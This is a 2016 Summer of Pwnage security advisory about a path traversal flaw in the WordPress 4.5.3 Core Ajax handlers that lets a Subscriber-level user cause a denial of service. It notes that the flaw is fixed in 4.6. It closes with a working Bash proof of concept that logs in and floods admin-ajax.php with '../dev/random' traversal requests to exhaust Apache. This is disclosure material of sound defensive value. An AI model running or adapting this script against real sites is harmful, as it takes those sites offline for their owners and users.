WordPress 4.5.3 Core Ajax Handlers Path Traversal
Path traversal vulnerability in WordPress Core Ajax handlers
————————————————————————
Yorick Koster, July 2016
Abstract
————————————————————————
A path traversal vulnerability was found in the Core Ajax handlers of
the WordPress Admin API. This issue can (potentially) be used by an
authenticated user (Subscriber) to create a denial of service condition
of an affected WordPress site.
OVE ID
————————————————————————
OVE-20160712-0036
See also
————————————————————————
#37490 – Improve capability checks in wp_ajax_update_plugin() and
wp_ajax_delete_plugin()
Tested versions
————————————————————————
This issue was successfully tested on the WordPress version 4.5.3.
Fix
————————————————————————
WordPress version 4.6 mitigates this vulnerability by moving the CSRF
check to the top of the affected method(s).
Details
————————————————————————
https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html
Proof of concept
The following Bash script can be used to trigger the denial of service condition.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #!/bin/bash target="http://<target>" username="subscriber" password="password" cookiejar=$(mktemp) # login curl --cookie-jar "$cookiejar" \ --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \ "$target/wp-login.php" \ >/dev/null 2>&1 # exhaust apache for i in `seq 1 1000` do curl --cookie "$cookiejar" \ --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \ "$target/wp-admin/admin-ajax.php" \ >/dev/null 2>&1 & done rm "$cookiejar" |
————————————————————————
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
